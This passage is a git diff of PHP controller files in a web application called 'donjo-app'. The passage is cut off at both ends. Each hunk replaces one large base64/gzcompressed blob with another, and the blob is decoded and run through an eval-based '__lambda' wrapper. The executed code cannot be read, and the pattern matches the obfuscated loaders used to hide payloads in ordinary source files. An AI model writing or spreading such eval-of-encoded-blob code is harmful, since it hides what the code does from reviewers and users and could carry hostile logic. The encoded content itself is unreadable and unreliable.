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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Inventaris_tanah.php b/donjo-app/controllers/Inventaris_tanah.php index 839b87816..da132e55f 100644 --- a/donjo-app/controllers/Inventaris_tanah.php +++ b/donjo-app/controllers/Inventaris_tanah.php @@ -272,7 +272,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Job.php b/donjo-app/controllers/Job.php index 8912fe36a..8adb113e5 100644 --- a/donjo-app/controllers/Job.php +++ b/donjo-app/controllers/Job.php @@ -220,7 +220,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtW1mPm2gWfY80/yEPLVWPMpPGuJwUivJgKIPBWwCzvrRYqsDFmvKKf/2cC7bLdjnpRDNqqXv8JcRl+Ja7nHvuvSR5+7YZv/yO8fmmfJ7li8ebT/XX3fh8Exb5U/Fvryx/C4p88Vyk6cPz/Del8N+XcflWSL35/P379zef3uw2e/uPN9dff/1fbwgFb/+H4/OrOzd2i5s7VmvmSr3PN/WtFxT90Ngh9fPb67iO67iOv+e4CTKTCW1lKUsm61jrQhG5R7tKPjakCdZs6Pr3q6mu4zqu4zqu4zqu4zqu4zr+auP6OuM6ruM6ruPvO258b/7w4fb38CEowoebT1eLXMd1XMd1XMd1/Ffj9J8v3KvFWJjdfcVnNIiYgSwUkZalc1fnSz9LIicTc88Sl7KkxUGWfDieN23zqZ+OFa1bf8c+3a+yOC6Dtpb69Xp3FWStOGCTyJXMraPz25D+PtuWo1AyKyc3n3Gv5eday6v4hWu1Yo/uWbfNfPVo35649qX02bHHJcniz/it38YerBE5LJfs5XWltPKsTRlUPM5REsyH3AuaP/fscernWN8L1anAW6P18f5xDBnuPZtnHL1bje67HVlgotFTdzPW+Xufbc08q5PKopIGLNcKsnEq99IldC3Dvsl4FreUhbgI+9p6Mrtb+X1zAf2WLrtY+ba59GzYr+osXVtdDRq9Il0Sn+Ue7NXXYvleXo+mTjSsz5YZWeRTyN3ybdhHgv17Gs7tRZqU5rSXL/AG9JuF1iLenxtsi9WQ5dau1Ulc6D3M0mRwYkP4JQvJFntbkY1KjyX/ph8863Yu98epw4oV/JIHmch49mguS4s0kMSE/AcsrPG5DuGjB+DCrf3WgZ35OJRqO28d2N/PxGWNlRmPZ0op90kfkewRhwI/D60O2XsnB53vlr5k4GfuGRiBn7QaN4QTyFeGQreQkyMMwPaeLpdD4YCfBL7DGZvYa9cYanSGbf2cj2VJgXwiZCMdYUvCJebJUu33Iwx2crdtLh2LdFlHvmUuoee8to3UIvu1EBNFg0GO9mw19zXCPbCntAI2pfPnO/2hh0hntjCHzlg7FvzdH3dgF7JF44O2yUyi4zhCbFnAWpYyjhW3KCY8wou0w4ukIQ5ExrFHjf36F+bbZbn3NdZWYT033eI8ptEPvrE2sb/DY8ASjsU1ZIth5yXt4QBroc7PHCss6XsgmcsQz+B3PpA2hJ2tp/MKzgBGlbj2cXXASceBPXd2K4CRFuLyyGZh4dH5WXjkrwt6WJ2yni8RfsI4mPHPrq0RRurnPulkdUiOVzId85XRM3XV6PR1RjTk3sacJuIQOJroOt/TzbGo9VIezyayoEw1Q+E1RlSmhjhRsa/WEyeW0ZsBbwb2UHFvoBotBXtMwE30XTUNYKSn8Loxj0ycZbRwnqlG2MPE78kOD4ZmKlPdVHhTuCWZJqaxUQzY0+yJJvwuTg2zT3KCk3gdnKSbOFPnpziPB7+KkHEEmQ3d0Oi5gP1IJiDMnGgV5DJDXp3V+03l3mKkGukYcg8xzzQYcagat5Fqary55yHGtFWjVNS9LiZvTvfrSZ4EDGd0+MM6nac9J9M0hTyaaCQLXoeeWDfSjQVvMEmkGx1leIznHuF+DD+HqSx0z3NHpAIToRSvglk3kmFjz2IiQyL+BI82mPpC2NNe8gLWjFdBn/g+LBBHsmPNI5VN16HUI95eT/TuouFVA/c57APc6rwOblyFtvLkEkbyMThOw9npyp91C6+vMcE98eimBRy2CJvgfnymFGtLPzOZYZXsdXry23wHWM29vvpn8jl035QOay4D5D/Y65B3wnbYHmbhMtQ7yL3BCrHxRLHh2qOV2+bnwyxmfGsdaS1+JIvOdofJLsW7V5HtcUkxE/b5Le3nsinj9c3ZMBuvfJ2rfWAwaW/I1HJNdUOtbdHsczcW4PPQptworgNxMwIfVsT/kD/Qss2tlaVrFbb3pJR1p/OxkJtbl+K2zwdTC3nc2mzt3mblMkrssItWcP+dOS3wRFuDnmaP7DNBPr9XSzxHLsnMZCCEgoq4NnqioQsBctDmTpbMW89WC4XprIhDsfYJ2Nk6bQV+UyNg9Al7bcGtc1/i2q6l5gOSE3o57AY5YxTpGTejfULCZ38UqUz6CHwtw74Ce2/SAHMf6toCtuzzyBfwVcVnyHlPDc74R5uFPYG9IKfzo5LsR/MP6+oLMWMr4Dn1wyTlHlHnUL1RhdaYGQjJx/2a5tIY2HQ7nHbmPism+EyIuxE7sF1UTk727SaINdRIzDvoGLsC886TzDl8Ww3Eee7nFHNmpVTrSGHrvJzb+h+et/BZcLIQ+wprPgdtfhWk3O5eMJeF8EUec38/DGvbNjHPNbVoo3doKci5yFeooRzUWD6L3JOZ21DiKuiTuJT7LOQb4P+Lzi9DazMfTIsozLjS7e5tv9+7uTzLiQZCj+rFpYuYtYFt12IKhWSxuEefsKUDJ4KTycTLSapPmc5YMzqGfM9wX/RuHsDHbt/c+ZEwdXpGc+648Nvh4/i++9pPfabG0pGPn/02sFDnwI7ksxvEuly8lpHwzgEPWqFUyZk/efgghPzmFrVGDvvkfsYhl4/T2ofbzqPcaxHvlFj78cXOzTWs7iKdhU5U5+h8tpPhZI4CvAP/LVeq7e2fYqG+8qbG5558tpN5VpAPuyeYa/Zha95bAX8pyQv5Ts6xd7F2tGY1rPjhi43QG2TcHGdViF/a62Q9nlWuJT55qBdd2MyZRTu57r6SLTRm80VNuS/TZOMi3+sDHfVZ1U32e+L7x9e68aWL3CBTj5FycZAr8QNhcLdmiHhy7fgJNT/wk1zGRLMPcVcK3nh0qceyR4WWjJFvNVlGLaBILvgDOqHuBJe03Fcxd4iT7+CptpcAXzLyYT++zh8n6/bPUq5+tsPpK1wYwDvqwm3d99RcayBnHWLvQnwdeCH12uO131aauLLWiy85X8GPadCCj+wxg2fp0XzkqUVPnZ3F9vYOmCGu1FaeyNUcYrNi27HW+eCbtj7seYFzwHlWSr3N1jOxX8o9oa8tXniouR511CfohS7uL9WxuKA8QfUM8kwKTKB2qXlODTKO8m1kHPiK771wMd/HGuT74DyGuXP7ow9DnjSKgc68c7MN+orolZwey20Rbzn1cNoew0JYn0uyDVkXn600ZLnKqzjWs8x2UN0dctpPcYiI/pliyUryb/E2aiEWuqbAF2qmcdMXS+PUYzQBvgYvbFD3iwtge7/mPK8czelyqJNE1KyHGJFnB35ZPVRHc20GuRF91tMrverYrePN5NIH4CLsjwql7jepz2ulwNFZ3m2uwz8rPZbpHCcq1RzFj2JDon1kIYiGM+IcyIQ+2LcM+p6jRyzdusfTSnDEIqx7tAYnpzGvpKjIK9QRGfq3rfsTORQYfEKvuUZeWXqIP+pv0Y/N4Rv4f0E9dzmZ8azPpsnlmqS7Gpzal6X6DvFK74yAOxE2G53YaCTAj4gl6lNRxzc9p05YoTgZb090u+9RftkSTwKHZV2j7TjodJ78ah6uVcg29cjp3BHNTVCLUu85p1g5xVyxOo89BX5s+sj9Hkx0ZKPoy5QBL3WQU4mHur/JUv1zNIEfv2VjZTs/PwP1pPa4n09nTCUuV3ffJ0/lnGIpaKs7Dkir/c+oV1N65opcHN7/8b4kuwPOtdldXS1040PdRPK/ek7ncZWPPAIMu0OLWbhUQ98X4IJeZzLtLkb3Pbry89rycO7uHs4ZgVsE6v9Cu/thko0pRzOujlqxzdfvYlCvL5Wqy31BrL7YHnauuhs6cySAg9qIZZEj3NQ1ejOfz11bWzzYeIY6mupUWbhb1e99Mi326ncX9bn0fiNp3kco9Xsi1BNb1OT5ue+RezvfyCsfHOIkqZOGFS/5/djzbPQl2bjwbDe9lEN36+q67ege1+zFvAPHxNAp8VDzaT1zih4afXc0f+2P9REmL9UFOz4xuYO+sDvZ5nF3v34fO9jJcp5HdnLu1yJXm2vKw42Pxuh9tVZQBcD9bTTSyRcm5inET/U9J0edanIZcvrCof6q4dcDBq0q3Hp2mSotpkS9lAfY2xOatUqf3gnF1AvUNUdo0ztDyiF73em9MXwpvMT7WQ1EuZJx2Cga9KhONde7fp7qsYvcrkgvON+fR70P4iYGt+6wBYybTDmp6pqqFUh4hvr3gG8pjF1WnF+o0SgPIuYd2MG4lOdf5Y4APTb16id5s3/obx+bGjYCh6n/h/zMbIjDYOscdd9LH6ie6P11eJ4nBe1QZ+659VCTGXXv8GGSh4VrUx0agj8oRwdcXe9IaXLCuWfxohx8Y5zFyo9x1M9wjtfE8tK1g+jk/cnrvv5FtqrhGI9iOaN3NbfFqcwUc5fX7+r4impY5Dlgg945GN/pa+r4MP28LIP6nYVWXOCnQx8JXWPUIw0nwi9HvFfXQcPZbf6q5hFO+xLNjhnU8PTupq7Nvnlen2SCH/fzRY04MH2ATuA6puGhi3x6sh69LzBufIM3G/59eT/xXU7Z2D/W1/08p30Tk6f8PZyK3+PavO5PLvTuiPMSfVhG9htcqIMP/WhOPennzzef3rz58/9i83P9+evu2z8//czyo7U/svCXlwN/vaE/b/51OPb6/73/Xv/f+9Tnv56ArHH5Pz/9Bx4O2AA='; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtW1tzo9gRfp+q/Id5SJU3NckuIMtjamoeBBYILKERiIt42eJig8x1rSv69fkakCzJmr0kqVRlozPLagTn9OnT/fXX3djz8WMz/vozxteb8nWeL59vvtRf2/H1Jizyl+IfXln+FBT58rVI06fXxU9q4f9YxuVHMfUWix9//PHmy4dW2Me/fLj++d//84FQ8PE/OL6+u3PjsPxiZrNzV+5/valvvaHod40WqV8/Xsd1XMd1/DnHTZBZTOioK0W2uJm9KVSJf3aq5HNDmmDNhq5/vprqOq7jOq7jOq7jOq7jOq7jf21cX2dcx3Vcx3X8eceN7y2e7m5/Dp+CIny6+XK1yHVcx3Vcx3Vcx781Tn994WFSaOL8/hd8Ro8R86iIRaRn6cI1hNLPkmiWSblnSytF1uMgS+6O5007Quqnmqr36u+Q0/tFkbQy6OipX69310HGxgGXRK5s7WaGsAvp59mOEoWyVc1y6xX3WD/XWa8Slq7Nxh7ds2+b+ZMjuX1p48vp68zRStLFnws7vwMZnBnNOD7Z6+vKaeXZ2zKoBOyjJpgPvZc0f+E5WurnWN8PJ1NRsEebY/lxDB0ePEdgZkavGj30uorIRKOX3lYzhAefY+ee3U0VSU0DjmeDTEuVfrrCWctwYDGeza8UMS7Cgb4Zz+/X/sBa4nwrl1uufcdaeQ7sV3VXrjNZPzbnigxZelX6sNdAj5UHZTOazqJhvbfCKJKQQm/Wd2AfGfbv69i3H+lympMsXxRMnG8e2st4v2+wK9ZDjt+4djdxce5hliaPJzaEX7KQbLG3Fdmo9Dj